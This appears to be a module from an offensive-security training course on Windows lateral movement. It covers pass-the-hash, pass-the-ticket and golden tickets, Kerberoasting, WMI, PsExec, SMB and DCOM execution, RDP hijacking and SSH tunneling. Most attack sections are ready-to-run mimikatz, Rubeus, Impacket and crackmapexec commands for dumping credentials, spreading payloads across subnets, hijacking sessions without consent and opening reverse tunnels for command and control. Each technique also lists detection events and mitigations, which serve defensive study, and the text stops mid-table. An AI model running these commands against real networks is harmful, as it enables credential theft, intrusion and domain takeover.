Getting one shell is reconnaissance. Getting the next shell is the mission. Lateral movement is the bridge between initial access and domain dominance. Every technique leaves traces — the defender's job is to spot them; your job is to minimize them.
Why this matters: A single compromised host is an island. The network is the continent. Lateral movement turns a beachhead into an empire. You don't attack the domain controller head-on; you move through workstations, harvest credentials, and let the domain trust you.
🎙️ Mentor Callout — asi dev [HTB]
"Lateral movement is about trust, not exploits."
🎯 Soldier Translation
You aren't breaking down doors. You're walking through doors that already recognize you. The network trusts valid credentials, signed tickets, and familiar protocols. Your job is to borrow that trust — become the user the system already believes in.
Red/Blue Relevance: Red — stop hunting for CVEs and start harvesting tokens, hashes, and tickets. Blue — monitor authentication anomalies, not just malware; the attacker looks like a legitimate user because they are using legitimate trust.
🎯 Soldier Translation
You breached the perimeter. One host is yours. Now what? The network is the battlefield. Lateral movement is flanking maneuver — you don't assault the fortress head-on, you move through the supply lines, the communication trenches, the maintenance tunnels. SSH, WMI, SMB — these are your supply lines.
The defender sees one infected host and thinks "contained." You see a launchpad. Every protocol is a road. Every credential is a vehicle. Every trust relationship is a bridge.
📚 Prerequisites — What You Need First
This module assumes you understand these concepts from earlier modules:
TCP/IP fundamentals, subnetting, port scanning, and protocol analysis. Lateral movement is network traversal — you need to understand the roads before you drive on them.
EDR detection, event log analysis, and SIEM correlation. Understanding detection helps you evade it.
🗺️ The Lateral Movement Kill Chain
Every lateral movement operation follows the same pattern. Master this pattern and you can adapt any technique:
1. RECON
What's nearby?
Subnet scan, ARP table, routing
→
2. CREDENTIALS
What do I have?
Tokens, hashes, tickets, passwords
→
3. ACCESS
What's open?
SMB, RDP, SSH, WinRM, WMI
→
4. EXECUTE
How do I run code?
Remote service, scheduled task, WMI event
→
5. PERSIST
How do I stay?
New C2 agent, backdoor, golden ticket
Why this pattern is universal
Windows networks are built for administration. The same protocols that let IT manage 10,000 workstations let you move between them. The OS can't distinguish between a domain admin and an attacker using stolen domain admin credentials. The authentication is identical. The protocols are identical. The only difference is intent — and the OS doesn't read minds.
🎙️ Mentor Callout — asi dev [HTB]
"Use what the network already trusts."
🎯 Soldier Translation
Don't bring your own ladder when the building has elevators. SMB, WMI, WinRM, RDP, SSH, DCOM — these are already installed, already allowed, and already logged in. The network trusts them. Hijack them, and you move like a ghost through infrastructure that was designed to help you.
Red/Blue Relevance: Red — map the allowed protocols first; your path is whatever the firewall permits and the user uses. Blue — allowlisting and micro-segmentation beat signature detection; if you can't block a protocol, force it through a monitored jump host.
What protocols are open? — SMB, RDP, SSH, WinRM, WMI (nmap -sS -p445,3389,22,5985,135)
Each answer determines the next move. Admin + SMB open = pass-the-hash. Domain user + Kerberos ticket = golden ticket. Local admin + WinRM = remote PowerShell.
💭 What I Look For (Attacker's Mind)
When I run terminal commands, I don't just read output — I read implications.
net user → Who else is on this box? Are they admins?
tasklist /v → What processes run? Any AV? Any EDR? Any security tools?
netstat -ano → What connections exist? Any C2 already? Any RDP sessions?
qwinsta → Any logged-in users? Their sessions = their tokens = my escalation path.
dir \\192.168.1.42\c$ → Can I reach the next box? Admin share access = game over.
🔥 Technique 1: Pass-the-Hash (PtH) EASY
🎙️ Mentor Callout — asi dev [HTB]
"Eventually all comes to networking."
🎯 Soldier Translation
At the bottom of every technique is a packet crossing a wire. Credentials, tickets, and tunnels are just ways to make that packet look normal. Learn the protocols — TCP, SMB, RPC, Kerberos, SSH — and you will see that lateral movement is not magic; it is networking with borrowed identity.
Red/Blue Relevance: Red — when a technique fails, read the network error; it tells you more than the tool output. Blue — network logs (Zeek, PCAP, firewall flows) often reveal lateral movement before endpoint logs do, because the protocol cannot lie about where it goes.
Pass-the-Hash: Authentication Without Passwords
Windows stores password hashes in memory (NTLM hashes). You don't need the plaintext password — the hash IS the password for NTLM authentication. Pass-the-hash uses a captured hash to authenticate to remote systems without ever cracking it.
Why this works
NTLM is a challenge-response protocol. The server sends a challenge; the client encrypts it with the hash and sends it back. The server verifies by doing the same encryption. The server never sees the plaintext password. If you have the hash, you can perform the encryption. The server can't tell the difference between a legitimate user and you using their hash.
# === PASS-THE-HASH WITH MIMIKATZ ===
# Step 1: Extract hashes from LSASS memory
# Requires: Admin or SYSTEM privileges (see Module 08: Privilege Escalation)
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords
# Output example:
# Authentication Id : 0 ; 1234567 (00000000:0012d687)
# Session : Interactive from 1
# User Name : SWu
# Domain : CORP
# NTLM : 7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b
# SHA1 : d2e4f6a8b0c2d4e6f8a0b2c4d6e8f0a2b4c6d8e0
# Step 2: Pass the hash to authenticate remotely
mimikatz # sekurlsa::pth /user:SWu /domain:CORP /ntlm:7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b /run:cmd.exe
# A new cmd.exe spawns with SWu's credentials injected
# From this shell, you can access any resource SWu can access
# === PASS-THE-HASH WITH CRACKMAPEXEC ===
# The modern way — automated, fast, and loud
# Test credentials against multiple targets
crackmapexec smb 192.168.1.0/24 -u SWu -H 7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b
# Execute command on all reachable hosts
crackmapexec smb 192.168.1.0/24 -u SWu -H 7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b -x "whoami"
# Dump SAM hashes from all reachable hosts
crackmapexec smb 192.168.1.0/24 -u SWu -H 7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b --sam
# Cross-link: hash cracking techniques in Module 19: AD
# === PASS-THE-HASH WITH IMPACKET (psexec.py) ===
# Python implementation, works from Linux attack box
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b CORP/SWu@192.168.1.42
# The first hash is the LM hash (blank = aad3b435b51404eeaad3b435b51404ee)
# The second hash is the NTLM hash
# This gives you a SYSTEM shell on the target
# Alternative: wmiexec.py ( quieter than psexec — no service creation )
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b CORP/SWu@192.168.1.42
⚠️ Detection Alert
Pass-the-hash generates Event ID 4624 (Logon) with Logon Type 3 (Network) and Logon Process: NtLmSsp. Defenders look for:
Same NTLM hash used from multiple source IPs
Account logons outside normal business hours
Admin accounts authenticating to workstations (not servers)
Event 4648 (explicit credential use) followed by 4624
Mitigation: Windows Defender Credential Guard (isolates LSASS), LAPS (unique local admin passwords), and KB2871997 (prevents local admin PtH on non-elevated sessions).
🔥 Technique 2: Pass-the-Ticket (PtT) MEDIUM
Pass-the-Ticket: Kerberos Ticket Reuse
Kerberos tickets are proof of authentication. Once issued, a ticket is valid for its lifetime (typically 10 hours renewable to 7 days). Pass-the-ticket extracts a valid Kerberos ticket and injects it into another session, allowing authentication as that user without knowing their password or hash.
Why this works
Kerberos is a ticket-based system. The KDC (Key Distribution Center) issues a TGT (Ticket Granting Ticket) after initial authentication. The TGT is used to request service tickets (TGS) for specific resources. The KDC never sees the ticket after issuance. If you steal a ticket, you can present it to any service that trusts the KDC. The service verifies the ticket's cryptographic signature — not your identity.
# === PASS-THE-TICKET WITH MIMIKATZ ===
# Step 1: Extract Kerberos tickets from memory
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
# Output: Multiple .kirbi files (Kerberos ticket format)
# [0..00] - 0x00000012 - rc4_hmac_nt
# Start/End/MaxRenew: 6/29/2026 8:00:00 AM ; 6/29/2026 6:00:00 PM ; 7/6/2026 8:00:00 AM
# Server Name : krbtgt/CORP.LOCAL @ CORP.LOCAL
# Client Name : SWu @ CORP.LOCAL
# Flags : 40e10000 -> forwardable renewable initial pre_authent
# -> File: [0;7c4f9e2]-0-0-40e10000-SWu@krbtgt-CORP.LOCAL.kirbi
# Step 2: Inject the ticket into your session
mimikatz # kerberos::ptt [0;7c4f9e2]-0-0-40e10000-SWu@krbtgt-CORP.LOCAL.kirbi
# Step 3: Verify the ticket is active
mimikatz # kerberos::list
# Or use Windows built-in: klist
# === PASS-THE-TICKET WITH RUBEUS ===
# The modern C# tool — stealthier, more flexible
# Dump tickets from memory
Rubeus.exe dump /service:krbtgt /nowrap
# Inject a specific ticket
Rubeus.exe ptt /ticket:doIFmjCCBZYwggWSoAMCAQ...
# Renew a ticket before it expires
Rubeus.exe renew /ticket:doIFmjCCBZYwggWSoAMCAQ...
# Convert between ticket formats (kirbi, ccache, base64)
Rubeus.exe describe /ticket:doIFmjCCBZYwggWSoAMCAQ...
# Cross-link: Kerberos deep dive in Module 19: AD
# === GOLDEN TICKET (THE ULTIMATE PTT) ===
# Forge a TGT for any user using the KRBTGT account hash
# The KRBTGT hash is the master key of the domain
# Step 1: Get the KRBTGT hash (requires Domain Admin or DCSync)
mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:krbtgt
# Output:
# Hash NTLM: 6c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b
# Step 2: Forge a golden ticket for any user (even non-existent)
mimikatz # kerberos::golden /domain:CORP.LOCAL /sid:S-1-5-21-1234567890-1234567890-1234567890 \
/krbtgt:6c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b /user:Administrator /id:500 /groups:513,512,520 \
/ticket:admin_golden.kirbi
# Step 3: Inject and use
mimikatz # kerberos::ptt admin_golden.kirbi
# Now you are Domain Admin. The ticket is valid for 10 years by default.
# Even if the user changes their password, this ticket still works.
# The only fix: rotate the KRBTGT password TWICE (see Module 19: AD)
⚠️ Detection Alert
Pass-the-ticket generates Event ID 4768 (TGT requested) or 4769 (TGS requested). Defenders look for:
TGT requests without preceding 4624 (logon) — ticket injection
TGS requests from unusual source IPs
Golden tickets: TGT with lifetime > 10 hours (forged)
Event 4769 with encryption type 0x17 (rc4_hmac) for sensitive accounts
Mitigation: Enable PAC validation, monitor for anomalous TGS requests, and rotate KRBTGT password regularly. See Module 19: AD for full domain hardening.
🔥 Technique 3: Kerberoasting MEDIUM
Kerberoasting: Offline Cracking of Service Accounts
Service accounts often have weak passwords and are rarely rotated. Kerberoasting requests a TGS ticket for any service principal name (SPN), which is encrypted with the service account's password hash. You take the ticket offline and crack it — no domain admin required.
Why this works
Any authenticated domain user can request a TGS for any SPN. The TGS is encrypted with the service account's password hash. The KDC doesn't check if you have permission to use the service. It just issues the ticket. You take the encrypted ticket home and crack it at your leisure. Service accounts often have passwords like "Summer2024!" or never-expire legacy passwords.
# === KERBEROASTING WITH RUBEUS ===
# Step 1: Enumerate SPNs (Service Principal Names)
Rubeus.exe kerberoast /stats
# Output example:
# SPNs found: 3
# User : sql_svc
# SPN : MSSQLSvc/sql01.corp.local:1433
# Hash : $krb5tgs$23$*sql_svc$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$...
# Step 2: Request and dump TGS tickets for all SPNs
Rubeus.exe kerberoast /format:hashcat /outfile:kerberoast_hashes.txt
# Step 3: Crack offline with hashcat
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Mode 13100 = Kerberos 5 TGS-REP etype 23 (rc4-hmac)
# Service accounts often use RC4 (weak) instead of AES256
# === KERBEROASTING WITH POWERVIEW / POWERSHELL ===
# Step 1: Find SPNs using PowerView (see Module 03: PowerShell)
Import-Module .\PowerView.ps1
Get-NetUser -SPN | Select samaccountname, serviceprincipalname
# Step 2: Request tickets with built-in .NET
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sql01.corp.local:1433"
# Step 3: Export tickets from memory
mimikatz # kerberos::list /export
# Step 4: Crack with tgsrepcrack.py or hashcat
python3 tgsrepcrack.py wordlist.txt *.kirbi
# === TARGETED KERBEROASTING ===
# Only request tickets for high-value targets
# Using Rubeus with specific targets
Rubeus.exe kerberoast /user:sql_svc /domain:CORP.LOCAL /format:hashcat
# Using GetUserSPNs.py from Impacket
python3 GetUserSPNs.py -request -dc-ip 192.168.1.10 CORP.LOCAL/SWu
# Output includes the hash ready for hashcat:
# $krb5tgs$23$*sql_svc$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$...
⚠️ Detection Alert
Kerberoasting generates Event ID 4769 (TGS requested) with Ticket Encryption Type: 0x17 (RC4-HMAC). Defenders look for:
Unusual volume of 4769 events from a single account
4769 for sensitive SPNs (MSSQLSvc, HTTP, CIFS) from non-IT users
RC4 encryption requests when AES is available (indicates attack tool)
TGS requests outside normal business hours
Mitigation: Set service accounts to use AES256 only, enforce strong passwords (25+ chars), rotate regularly, and use Managed Service Accounts (gMSA) where possible. See Module 19: AD.
🔥 Technique 4: WMI Execution EASY
WMI: Windows Management Instrumentation Remote Execution
WMI is Windows' built-in management framework. It runs over DCOM (TCP port 135 + ephemeral high ports) and allows remote process creation, file operations, and system queries. WMIexec is the quietest way to execute commands remotely — no service installation, no scheduled task, just a temporary process.
Why this works
WMI is designed for remote administration. When you call Win32_Process.Create, the WMI service (wmiprvse.exe) on the target spawns your process. The process runs as the connecting user. If you connect as admin, your process runs as admin. WMI is rarely monitored because it's "legitimate" — but so is every lateral movement technique.
# === WMI EXEC WITH IMPACKET (wmiexec.py) ===
# The gold standard — semi-interactive shell over WMI
# Basic execution
python3 wmiexec.py CORP/SWu:Password123@192.168.1.42
# Pass-the-hash variant
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b CORP/SWu@192.168.1.42
# Execute single command and exit
python3 wmiexec.py CORP/SWu:Password123@192.168.1.42 "whoami /all"
# Output goes to a temporary file on target, then deleted
# This is why WMIexec is quieter than psexec — no persistent service
# === WMI EXEC WITH WMIC (LEGACY COMMAND LINE) ===
# Available on every Windows system since XP
# Execute command
wmic /node:192.168.1.42 /user:CORP\SWu /password:Password123 process call create "cmd.exe /c whoami > C:\\temp\\out.txt"
# Query processes
wmic /node:192.168.1.42 /user:CORP\SWu /password:Password123 process list brief
# Query services
wmic /node:192.168.1.42 /user:CORP\SWu /password:Password123 service list brief
# Query installed patches (for vulnerability assessment)
wmic /node:192.168.1.42 /user:CORP\SWu /password:Password123 qfe get HotFixID,InstalledOn
# Note: WMIC is deprecated in Windows 11 but still present.
# PowerShell WMI is the future.
⚠️ Detection Alert
WMI execution generates Event ID 4688 (Process Creation) with Parent Process: WmiPrvSE.exe. Defenders look for:
Unusual processes spawned by WmiPrvSE.exe (cmd.exe, powershell.exe)
WMI connections from non-admin workstations to multiple targets
Sysmon Event ID 1 with ParentImage containing WmiPrvSE.exe
Network connections to TCP 135 followed by high ephemeral ports
Mitigation: Enable WMI logging (Event 5857, 5858, 5859), restrict WMI via GPO (WMI namespace permissions), and monitor WmiPrvSE.exe parent-child relationships. See Module 12: Defensive Verification.
🔥 Technique 5: PSExec EASY
PSExec: Remote Service-Based Execution
Sysinternals PSExec is the classic lateral movement tool. It copies an executable to the target's ADMIN$ share, installs it as a service, starts the service (which runs your code), and removes the service. Simple, reliable, and loud.
Why this works
PSExec uses the Service Control Manager (SCM) API over SMB. Admin access to ADMIN$ is required. The service runs as SYSTEM by default. The service binary is just a renamed PSExec service stub that connects back to a named pipe. Your payload runs as SYSTEM. This is why PSExec is both powerful and noisy — it creates a service, which is a major event.
# === PSEXEC (SYSINTERNALS) ===
# The original — requires admin on target
# Basic execution (runs as SYSTEM)
psexec.exe \\192.168.1.42 -u CORP\SWu -p Password123 cmd.exe
# Execute specific command
psexec.exe \\192.168.1.42 -u CORP\SWu -p Password123 -s cmd.exe /c "whoami > C:\\temp\\out.txt"
# Copy and execute a custom binary
psexec.exe \\192.168.1.42 -u CORP\SWu -p Password123 -c C:\temp\payload.exe
# Run as specific user (not SYSTEM)
psexec.exe \\192.168.1.42 -u CORP\SWu -p Password123 -u DOMAIN\user -p userpass cmd.exe
# Accept EULA automatically (first run)
psexec.exe /accepteula \\192.168.1.42 cmd.exe
# === PSEXEC WITH IMPACKET (psexec.py) ===
# Works from Linux, supports pass-the-hash
# Basic execution
python3 psexec.py CORP/SWu:Password123@192.168.1.42
# Pass-the-hash
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b CORP/SWu@192.168.1.42
# Alternative: smbexec.py (no service, uses SMB named pipe — stealthier)
python3 smbexec.py CORP/SWu:Password123@192.168.1.42
# Alternative: atexec.py (uses Task Scheduler — different artifacts)
python3 atexec.py CORP/SWu:Password123@192.168.1.42 "whoami"
# === PSEXEC ARTIFACTS (What the Defender Sees) ===
# Event 7045: A new service was installed
# Service Name: PSEXESVC
# Service File Name: C:\Windows\PSEXESVC.exe
# Service Type: user mode service
# Service Start Type: demand start
# Event 4688: Process Creation
# New Process: C:\Windows\PSEXESVC.exe
# Parent Process: services.exe
# Event 5140: Network share accessed
# Share Name: \\192.168.1.42\ADMIN$
# Access Mask: WriteData
# File artifact: C:\Windows\PSEXESVC.exe (deleted after execution, but may be recovered)
# Registry artifact: HKLM\System\CurrentControlSet\Services\PSEXESVC (deleted after)
# Cross-link: service-based persistence in Module 16: C2
⚠️ Detection Alert
PSExec is the noisiest lateral movement technique. Defenders look for:
Event 7045 (new service) with service name PSEXESVC
ADMIN$ share access from non-admin workstations
File creation in C:\Windows\PSEXESVC.exe
Named pipe creation: \\.\pipe\PSEXESVC
Event 4688 with PSEXESVC.exe as parent
Mitigation: Restrict ADMIN$ access via GPO, enable SMB signing, monitor for 7045 events, and use application whitelisting. Many EDRs detect PSExec by signature. See Module 12: Defensive Verification.
🔥 Technique 6: SMB Execution MEDIUM
SMB Execution: Fileless Remote Command Execution
Unlike PSExec, SMBexec doesn't create a service. It uses a temporary SMB named pipe to execute commands, making it stealthier. No file drops, no service installs. Just a named pipe that disappears when the session ends.
Why this works
SMBexec opens a named pipe on the target's IPC$ share. Commands are written to the pipe; output is read back. No executable is written to disk. The command runs through cmd.exe spawned by the SMB service (svchost.exe). This is fileless execution — the holy grail of stealth.
# === SMBEXEC WITH IMPACKET (smbexec.py) ===
# No service creation — uses named pipes
# Interactive shell
python3 smbexec.py CORP/SWu:Password123@192.168.1.42
# Pass-the-hash
python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b CORP/SWu@192.168.1.42
# Single command execution
python3 smbexec.py CORP/SWu:Password123@192.168.1.42 -codec 65001 "whoami /all"
# The -codec 65001 flag sets UTF-8 output encoding (fixes garbled output)
# === SMB SHARE ABUSE (PSEXEC ALTERNATIVE) ===
# Manual approach — more control, more artifacts
# Step 1: Mount ADMIN$ share
net use \\192.168.1.42\ADMIN$ /user:CORP\SWu Password123
# Step 2: Copy payload
copy payload.exe \\192.168.1.42\ADMIN$\System32\evil.exe
# Step 3: Create and start service remotely
sc \\192.168.1.42 create evil_svc binpath= "C:\\Windows\\System32\\evil.exe"
sc \\192.168.1.42 start evil_svc
# Step 4: Cleanup
sc \\192.168.1.42 stop evil_svc
sc \\192.168.1.42 delete evil_svc
del \\192.168.1.42\ADMIN$\System32\evil.exe
net use \\192.168.1.42\ADMIN$ /delete
# Cross-link: SMB protocol in Module 01: Networking
# === SMB FILE OPERATIONS FOR LATERAL MOVEMENT ===
# Sometimes you just need to move files
# List target shares
net view \\192.168.1.42
# Access C$ (requires admin)
dir \\192.168.1.42\c$\Users
# Copy tool to target
copy mimikatz.exe \\192.168.1.42\c$\temp\
# Execute via scheduled task (see atexec.py alternative)
schtasks /create /s 192.168.1.42 /u CORP\SWu /p Password123 /tn "Update" /tr "C:\\temp\\mimikatz.exe" /sc once /st 23:59
schtasks /run /s 192.168.1.42 /u CORP\SWu /p Password123 /tn "Update"
schtasks /delete /s 192.168.1.42 /u CORP\SWu /p Password123 /tn "Update" /f
⚠️ Detection Alert
SMB execution generates Event ID 5140 (network share accessed) and Event ID 4688 (process creation). Defenders look for:
Mitigation: Enable SMB signing, restrict null sessions, disable SMBv1, and monitor for ADMIN$ access. See Module 01: Networking for SMB hardening.
🔥 Technique 7: RDP Hijacking HARD
RDP Hijacking: Stealing Active Sessions
If you have SYSTEM privileges on a Windows host, you can hijack any RDP session without credentials. RDP hijacking uses the built-in tscon.exe to connect to another user's session — they stay logged in, and you become them.
Why this works
Windows Terminal Services maintains session state in memory. tscon.exe is a legitimate Microsoft tool for session management. When run as SYSTEM, it can attach any session to any window station. The victim's session continues running; you just join it. No password needed. No authentication event. The session was already authenticated — you're just changing who's watching.
# === RDP HIJACKING WITH TSCON ===
# Requires: SYSTEM privileges on the target host
# Step 1: Enumerate active sessions
query user
# Output:
# USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
# SWu rdp-tcp#0 1 Active . 6/29/2026 8:00 AM
# Administrator rdp-tcp#1 2 Active 12 6/29/2026 9:00 AM
# Step 2: Get SYSTEM (if not already)
# Using PsExec to get SYSTEM shell
psexec -s cmd.exe
# Step 3: Hijack the session
tscon 2 /dest:console
# You are now in the Administrator's RDP session
# Their desktop is yours. Their tokens are yours.
# No password. No 4624 event. No network traffic.
# Alternative: Hijack without kicking the user
# (Requires additional tools — see references)
# === RDP HIJACKING WITH MIMIKATZ ===
# More advanced — inject into RDP session process
# Step 1: List processes in target session
mimikatz # token::list
# Step 2: Impersonate the target user's token
mimikatz # token::elevate /domainadmin
# Step 3: Use the token to access remote resources
mimikatz # lsadump::sam
# Cross-link: token manipulation in Module 08: Privilege Escalation
# === RDP SHADOWING (STEALTHIER HIJACKING) ===
# Windows 10/11 built-in feature — "remote assistance"
# As admin, shadow a user's session without their knowledge
mstsc /v:192.168.1.42 /shadow:1 /control /noConsentPrompt
# /shadow:1 = Session ID to shadow
# /control = Take control (not just watch)
# /noConsentPrompt = Don't ask the user for permission
# Requires: Group Policy "Set rules for remote control of Terminal Services"
# Set to "Full Control without user's permission"
# This is a legitimate IT feature — the perfect cover.
⚠️ Detection Alert
RDP hijacking is nearly invisible but not undetectable. Defenders look for:
tscon.exe execution (Event 4688) — rare legitimate use
Session ID changes in Event 4778 (session reconnected)
Multiple users sharing a session ID over time
RDP shadowing without consent (Event 4826)
Process creation from SYSTEM context with RDP-related parent
Mitigation: Restrict tscon.exe via AppLocker, disable RDP shadowing via GPO, and monitor for session anomalies. See Module 12: Defensive Verification.
🔥 Technique 8: SSH Tunneling MEDIUM
SSH Tunneling: The Universal Pivot
SSH isn't just for Linux. Windows 10/11 includes OpenSSH. SSH tunneling creates encrypted pathways through the network, bypassing firewalls and providing stable, encrypted C2 channels. Local, remote, and dynamic port forwarding are the three weapons every operator must master.
Why this works
SSH is trusted everywhere. Port 22 is often open when 445 and 3389 are blocked. SSH traffic is encrypted, so firewalls and IDS can't inspect the payload. Tunneling turns SSH into a universal proxy — you can forward any protocol through it. The defender sees SSH traffic; they don't see the SMB, RDP, or HTTP inside.
# === LOCAL PORT FORWARDING ===
# Forward a remote port to your local machine
# Use case: Access internal web app through compromised host
# Syntax: ssh -L [local_port]:[remote_host]:[remote_port] [user]@[ssh_host]
# Example: Access .42's internal web server from your attack box
ssh -L 8080:localhost:80 SWu@192.168.1.42
# Now browse to http://localhost:8080 on your attack box
# Traffic goes through SSH tunnel to .42, then to .42's localhost:80
# Example: Access a third host through .42
ssh -L 3389:192.168.1.100:3389 SWu@192.168.1.42
# Now RDP to localhost:3389 — you're actually RDPing to .100 through .42
# === REMOTE PORT FORWARDING ===
# Forward a local port to the remote SSH server
# Use case: Expose your C2 listener through a compromised host
# Syntax: ssh -R [remote_port]:[local_host]:[local_port] [user]@[ssh_host]
# Example: Your C2 listener is on attack box port 4444
# Make it accessible from .42's port 4444
ssh -R 4444:localhost:4444 SWu@192.168.1.42
# Now an agent on .42 can connect to localhost:4444
# Traffic goes through SSH tunnel to your attack box
# Example: Expose your SOCKS proxy through .42
ssh -R 1080:localhost:1080 SWu@192.168.1.42
# Cross-link: C2 infrastructure in Module 16: C2
# === DYNAMIC PORT FORWARDING (SOCKS PROXY) ===
# Create a SOCKS proxy through the SSH tunnel
# Use case: Route all traffic through compromised host
# Syntax: ssh -D [local_port] [user]@[ssh_host]
# Example: Create SOCKS proxy on local port 1080
ssh -D 1080 SWu@192.168.1.42
# Configure proxychains or browser to use SOCKS5 localhost:1080
# All traffic routes through .42
# With proxychains (Linux)
proxychains nmap -sT 192.168.1.0/24
proxychains smbclient -L //192.168.1.100
# With proxychains-ng (modern)
proxychains4 -f /etc/proxychains.conf crackmapexec smb 192.168.1.0/24
# Cross-link: proxy techniques in Module 16: C2
# === REVERSE SSH TUNNEL (PERSISTENT BACKCONNECT) ===
# Compromised host connects back to you, creating a tunnel
# On attack box, allow remote forwarding
# Edit /etc/ssh/sshd_config: GatewayPorts yes
# From compromised host (.42)
ssh -R 2222:localhost:22 -N -f gwu07@192.168.1.92
# -R 2222:localhost:22 = Forward .42's port 22 to attack box port 2222
# -N = No command execution (tunnel only)
# -f = Background the process
# Now from attack box:
ssh -p 2222 SWu@localhost
# You're SSHing into .42 through the reverse tunnel
# Even if .42 can't reach you directly, this works if .42 can reach you
⚠️ Detection Alert
SSH tunneling generates Event ID 4624 (Logon) with Logon Type 3 (Network) on Windows. On Linux, auth.log shows SSH connections. Defenders look for:
SSH connections from non-IT users or non-IT hosts
Long-duration SSH sessions with no interactive commands
Multiple local/remote forwarding flags (-L, -R)
SSH connections to unusual ports (not 22)
Network traffic patterns: SSH session but SMB/RDP/HTTP payload sizes
Mitigation: Restrict SSH forwarding (AllowTcpForwarding no in sshd_config), monitor SSH session duration, and use bastion hosts with logging. See Module 01: Networking.
🔥 Technique 9: DCOM Lateral Movement HARD
DCOM: Distributed Component Object Model
DCOM is Windows' mechanism for inter-process communication across the network. It allows one computer to instantiate and control objects on another. DCOM lateral movement abuses legitimate COM objects (like MMC20.Application) to execute commands remotely — no service, no scheduled task, no WMI.
Why this works
DCOM is fundamental to Windows. MMC20.Application is the COM object for the Microsoft Management Console. When you instantiate it remotely, you can call the Document.ActiveView.ExecuteShellCommand method. This runs a command on the target as the instantiating user. No new service. No file drop. Just a COM object doing what COM objects do.
# === DCOM LATERAL MOVEMENT WITH POWERSHELL ===
# Uses MMC20.Application — available on most Windows systems
# Step 1: Create COM object pointing to remote host
$com = [Type]::GetTypeFromCLSID('49B2791A-B1AE-4C90-9B8E-E860FE7F6F7E', '192.168.1.42')
$obj = [System.Activator]::CreateInstance($com)
# The CLSID '49B2791A-B1AE-4C90-9B8E-E860FE7F6F7E' = MMC20.Application
# Step 2: Execute command through MMC
$obj.Document.ActiveView.ExecuteShellCommand('cmd.exe', $null, '/c whoami > C:\\temp\\dcom.txt', '7')
# The '7' parameter = Show window normally (can be hidden)
# Step 3: Read output
# The command runs on .42. Output is written to C:\temp\dcom.txt
# Retrieve via SMB or other method.
# Cross-link: COM objects in Module 10: Code Injection
# === DCOM ALTERNATIVE: SHELLWINDOWS ===
# Another COM object for execution
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39', '192.168.1.42')
$shell = [System.Activator]::CreateInstance($com)
$shell.Item().Document.Application.ShellExecute('cmd.exe', '/c whoami > C:\\temp\\dcom2.txt', 'C:\\Windows\\System32', $null, 0)
# CLSID '9BA05972-F6A8-11CF-A442-00A0C90A8F39' = ShellWindows (Internet Explorer)
# This instantiates IE's shell on the remote host
# Cross-link: COM hijacking in Module 10: Code Injection
# === DCOM WITH IMPACKET (dcomexec.py) ===
# Automated DCOM execution from Linux
# MMC20.Application method
python3 dcomexec.py MMC20.Application.CORP/SWu:Password123@192.168.1.42 "whoami"
# ShellWindows method
python3 dcomexec.py ShellWindows.CORP/SWu:Password123@192.168.1.42 "whoami"
# Pass-the-hash support
python3 dcomexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b MMC20.Application.CORP/SWu@192.168.1.42 "whoami"
# Cross-link: Impacket suite overview in Module 19: AD
# === DCOM ARTIFACTS (What the Defender Sees) ===
# Event 4624: Logon Type 3 (Network)
# Logon Process: Advapi
# Authentication Package: Negotiate
# Source Network Address: [your IP]
# Event 4688: Process Creation
# New Process: cmd.exe (or whatever you executed)
# Parent Process: mmc.exe (if using MMC20.Application)
# Network: RPC connection to TCP 135 (endpoint mapper)
# Then dynamic high port for DCOM communication
# Registry: No persistent registry changes (one-time execution)
# File system: Only if your command writes files
# Detection challenge: DCOM looks like legitimate remote management
# The defender must distinguish "IT admin using MMC" from "attacker using MMC"
⚠️ Detection Alert
DCOM lateral movement generates Event ID 4624 (Logon) and Event ID 4688 (Process Creation). Defenders look for:
mmc.exe spawning cmd.exe or powershell.exe on remote hosts
DCOM connections from non-admin workstations
RPC to TCP 135 followed by high ephemeral ports
Event 4688 with unusual parent processes (mmc.exe, explorer.exe via COM)
Authentication from accounts that don't normally use MMC remotely
Mitigation: Restrict DCOM via Component Services (dcomcnfg), disable remote activation for sensitive COM objects, and monitor for unusual mmc.exe process creation. See Module 12: Defensive Verification.
📊 Technique Comparison Matrix
Choosing the Right Tool for the Job
Technique
Stealth
Speed
Requires Admin
Artifacts
Best For
Pass-the-Hash
Medium
Fast
No (but needs hash)
4624, 4648
Network-wide auth
Pass-the-Ticket
High
Fast
No (but needs ticket)
4768, 4769
Kerberos environments
Kerberoasting
Medium
Slow (cracking)
No
4769 volume
Service account compromise
WMI Exec
High
Fast
Yes
4688 (WmiPrvSE parent)
Quiet command execution
PSExec
Low
Fast
Yes
7045, 4688, file drop
Reliable SYSTEM shell
SMB Exec
Medium
Fast
Yes
5140, named pipes
Fileless execution
RDP Hijacking
Very High
Instant
SYSTEM only
4778, tscon.exe
Session takeover
SSH Tunneling
High
Fast
No
4624, auth.log
Cross-platform pivot
DCOM
High
